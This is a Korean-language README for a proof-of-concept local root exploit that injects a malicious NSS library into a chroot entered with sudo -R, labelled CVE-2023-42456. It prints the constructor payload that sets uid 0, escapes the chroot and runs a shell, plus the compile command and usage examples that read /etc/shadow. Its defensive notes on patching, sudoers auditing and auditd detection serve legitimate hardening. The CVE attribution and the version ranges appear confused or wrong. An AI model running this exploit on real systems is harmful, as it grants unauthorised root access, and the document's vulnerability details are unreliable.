
CVE-2023-42456에 대한 개념 증명(PoC) 익스플로잇으로, chroot 주입을 통한 sudo NSS 라이브러리 하이재킹으로 권한 상승을 시연합니다. 자동화된 버전 탐지, 페이로드 생성, 승인된 보안 테스트를 위한 chroot 탈출 기능을 포함합니다.
저자: 0xb0rn3 | 0xbv1
유형: PoC(Proof of Concept) 보안 연구 도구
CVE: CVE-2023-42456
기법: sudo -R chroot NSS 라이브러리 주입 → 루트 권한 상승
이 도구는 승인된 침투 테스트 및 교육 목적의 보안 연구를 위해서만 개발되었습니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 실행하십시오. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다. 허가되지 않은 사용은 불법입니다.
Xpl0it은 sudo가 -R(chroot) 플래그를 사용할 때 동적 NSS(Name Service Switch) 라이브러리 로딩을 처리하는 방식의 신뢰 모델 결함을 악용하는 개념 증명입니다. 취약한 sudo 버전에서는 chroot 디렉터리를 제어하는 공격자가 chroot 내부의 nsswitch.conf를 오염시켜 sudo가 자격 증명을 버리기 전에, 여전히 상승된 권한을 보유한 상태에서 악성 공유 라이브러리를 로드하도록 강제할 수 있습니다.
성공적으로 실행되면 이 도구는 루트 셸을 제공하거나 uid=0 gid=0으로 지정한 명령을 실행합니다.
이 도구는 CVE-2023-42456만을 대상으로 합니다. 이 취약점은 두 개의 릴리스 브랜치에 걸쳐 존재하며, 각각 별도의 수정 커밋이 있습니다:
| 브랜치 | 취약 버전 | 수정 버전 |
|---|---|---|
| 1.9.14.x | 전체 (1.9.14 – 1.9.14p2) | 해당 없음 (브랜치 전체 영향) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | 영향 없음 | 브랜치 이전에 업스트림으로 수정 병합됨 |
중요: sudo 1.9.17 이상은 취약하지 않습니다. 이전 도구와 문서에서는 영향 범위를 "1.9.14–1.9.17"로 잘못 기재했습니다. 이 도구는 오탐을 방지하기 위해 브랜치별 버전 감지를 수행합니다.
다음 CVE는 이 기법으로 악용할 수 없으며, 오탐을 방지하기 위해 의도적으로 제외되었습니다:
| CVE | 기법 | 제외 사유 |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | 힙 기반 버퍼 오버플로 | 완전히 다른 공격 벡터 |
| CVE-2021-23239 | sudoedit 레이스 컨디션 | 다른 기법 |
| CVE-2021-23240 | SELinux 역할 심볼릭 링크 우회 | 다른 기법 |
sudo -R은 대상 사용자의 sudoers 항목에 명시적인 ChrootDir= 지시문이 있어야 합니다. NOPASSWD만으로는 -R 권한이 부여되지 않습니다.
ChrootDir이 없으면 sudo는 -R 플래그를 완전히 거부합니다:
sudo: you are not permitted to use the -R option with bridge
이 익스플로잇을 허용하는 sudoers 항목은 다음 중 하나와 같아야 합니다:
# 제한 없는 chroot 경로 (이상적인 공격 조건)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# 경로 제한 chroot (도구가 스테이징 디렉터리를 자동으로 조정)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# 특정 경로 (도구가 허용된 경로 내부에 스테이징을 생성)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it은 스테이징 작업을 수행하기 전에 sudo -l에서 ChrootDir을 파싱하고, 권한이 없으면 명확한 설명과 함께 조기 종료합니다.
sudo -R bridge bridge
│
├─ sudo가 chroot("./bridge") 호출 ← 공격자가 이 디렉터리를 제어
│
├─ sudo가 호출 사용자의 정보를 확인해야 함
│ └─ chroot에서 /etc/nsswitch.conf 로드
│ └─ "passwd: files bridge90"
│ └─ 동적 링커가 libnss_bridge90.so.2 로드
│ └─ __attribute__((constructor)) 실행
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot 탈출 → 페이로드 실행
│
└─ 루트 셸 생성
1단계 — 정찰
OS, 커널 버전, 아키텍처, 현재 사용자 컨텍스트 및 모든 유효한 라이브러리 검색 경로를 수집합니다. AppArmor/SELinux 적용 여부와 NoNewPrivs 상태를 감지합니다. 이 모두 활성 상태이면 익스플로잇을 조용히 차단할 수 있습니다.
2단계 — 버전 핑거프린트
sudo --version을 파싱하고 CVE-2023-42456에 대한 두 브랜치 영향 범위를 패치 수준 정밀도로 확인합니다. 버전이 패치되었거나 범위를 벗어나면 설명과 함께 종료합니다.
3단계 — ChrootDir 권한 확인
sudo -l에서 ChrootDir= 지시문을 파싱합니다. 없으면 즉시 종료합니다. 특정 경로로 제한된 경우 sudo가 -R 호출을 수락하도록 자동으로 해당 경로를 스테이징 대상으로 지정합니다.
4단계 — 익스플로잇 전 사전 프로브
일회용 최소 chroot를 만들고 실제 스테이징 작업 전에 무해한 sudo -R 호출을 실행합니다. sudo가 NSS 확인에 도달하는지 확인하고 "허용되지 않음" 거부를 조기에 포착합니다.
5단계 — 페이로드 생성
bridge90.c를 작성합니다. 동적 링커가 로드하는 즉시 실행되는 __attribute__((constructor)) 함수(_nss_bridge90_init)를 가진 C 공유 라이브러리입니다:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot 탈출: 하위 디렉터리 생성 → 더 깊이 chroot →
// 40x"../" 이동 → 실제 / 로 chroot 재고정
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
6단계 — 환경 구성
스테이징 디렉터리 내부에 그럴듯한 chroot를 구축합니다:
bridge/etc/nsswitch.conf — bridge90 NSS 서비스를 로드하도록 오염됨bridge/<lib_path>/libnss_bridge90.so.2 — 페이로드, 감지된 모든 라이브러리 경로에 배포(멀티리브 커버리지)bridge/bin/bridge — sudo가 사전 실행 검사를 통과하기 위해 찾아야 하는 스텁 실행 파일bridge/bin/sh, bridge/bin/bash — 올바른 ELF 인터프리터를 가진 셸(readelf -l로 감지)bridge/etc/ld.so.conf — 모든 라이브러리 경로를 포함하여 ldconfig -r이 유효한 캐시를 구축하도록 함7단계 — 컴파일
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — 기본 시작 코드 없음; 생성자가 모든 것을 처리-Wl,-soname — NSS 이름 확인을 위한 올바른 SONAME-Wl,-init 없음 — __attribute__((constructor))로 충분함; -Wl,-init을 추가하면 이중 호출이 발생하여 버그가 됨컴파일 후 nm -D로 생성자 심볼이 동적 내보내기 테이블에 있는지 확인합니다.
8단계 — 실행
스테이징 디렉터리에서 sudo -R bridge bridge를 실행합니다. NSS가 bridge90을 확인 → 라이브러리 로드 → 상승된 권한으로 생성자 실행 → chroot 탈출 실행 → 루트 셸.
sudo의 -R 구현은 진입하는 chroot 디렉터리의 내용을 신뢰합니다. 이 문제가 수정되기 전에는 sudo가 chroot 환경이 변조되었는지 검증하지 않았습니다. chroot 경로를 제공하는 사용자는 해당 내용(nsswitch.conf 및 참조하는 NSS 라이브러리 포함)을 제어할 수 있으므로, sudo가 권한을 낮추기 전에 실행되는 임의 코드로 라이브러리 로딩을 리디렉션할 수 있습니다.
sudo 패치
1.9.15p2, 1.9.16p2 또는 모든 1.9.17+ 릴리스로 업데이트하십시오. 이 버전들은 내부 NSS 확인을 허용하기 전에 chroot 환경을 검증합니다.
# 버전 확인
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
ChrootDir 지시문 감사
/etc/sudoers 및 /etc/sudoers.d/의 모든 파일을 검토하십시오. 명시적으로 필요하지 않은 경우 ChrootDir= 항목을 제거하십시오. 와일드카드를 제한하십시오 — ChrootDir=*보다 ChrootDir=/specific/path를 선호하십시오.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
감사 로그 시그니처
# auditd — sudo -R 호출 감지(정상 사용에서는 드묾)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
의심스러운 지표
sudo -R 호출 — 정상적인 운영 사용은 극히 드묾sudobridge.* 이름과 일치하는 /tmp 아래의 임시 디렉터리/tmp 또는 사용자 쓰기 가능 디렉터리의 libnss_*.so.2 파일gcc 호출setreuid/setregid 시스템 콜| 계층 | 조치 |
|---|---|
| 패치 | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | ChrootDir=* 제거; 특정 경로만 사용 |
| MAC | 신뢰할 수 없는 dlopen()을 차단하는 AppArmor/SELinux 프로파일 |
| 파일시스템 | /tmp 및 사용자 디렉터리를 noexec,nosuid로 마운트 |
| IMDSv2 | 클라우드 인스턴스에서 토큰 기반 메타데이터 접근 요구 |
| 모니터링 | sudo -R 호출에 대한 auditd 알림 |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS가 setreuid() 작동을 방지 |
# 실행 가능하게 만들기
chmod +x Xpl0it
# 루트 셸 진입(기본값)
./Xpl0it
# 루트로 특정 명령 실행
./Xpl0it -c "id && cat /etc/shadow"
# 디버그 모드 — 상세 출력, 종료 시 스테이징 디렉터리 보존
./Xpl0it -d
# 버전 불일치 시 계속하기 전에 확인 프롬프트
./Xpl0it -v
# 플래그 결합
./Xpl0it -v -d -c "/bin/bash"
| 플래그 | 설명 |
|---|---|
-c, --command <cmd> | 권한 상승 후 실행할 명령(기본값: /bin/bash) |
-d, --debug | 상세 디버그 출력; 종료 시 스테이징 디렉터리 보존 |
-v, --verbose | 버전이 영향 범위를 벗어나면 계속하기 전에 확인 프롬프트 |
-h, --help | 사용법 표시 |
--version | 버전 출력 |
| 의존성 | 필수 | 용도 |
|---|---|---|
gcc | 예 | 대상에서 NSS 공유 라이브러리 컴파일 |
sudo | 예 | 대상 바이너리 |
ldconfig | 예 | chroot 내부에 ld.so.cache 구축 |
readelf | 예 | ELF 인터프리터 경로 감지 |
grep, awk, sed, find | 예 | 표준 유틸리티 |
strace, ltrace, gdb | 선택 사항 | 고급 디버깅 |
nm | 선택 사항 | 생성자 심볼 확인 |
대상 사용자의 sudoers 항목에는 ChrootDir=도 포함되어 있어야 합니다 — 도구가 자동으로 확인하며 없으면 설명과 함께 빠르게 실패합니다.
익스플로잇이 실패하면 -d로 실행하여 스테이징 디렉터리를 보존하고 다음을 검사하십시오:
| 확인 항목 | 경로 | 확인 내용 |
|---|---|---|
| 컴파일 로그 | $STAGE/logs/compile.log | gcc 오류 |
| ldconfig 로그 | $STAGE/logs/ldconfig.log | 캐시 구축 오류 |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| 라이브러리 | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | 존재해야 함 |
| Sudoers | sudo -l | ChrootDir= 표시되어야 함 |
일반적인 실패 원인: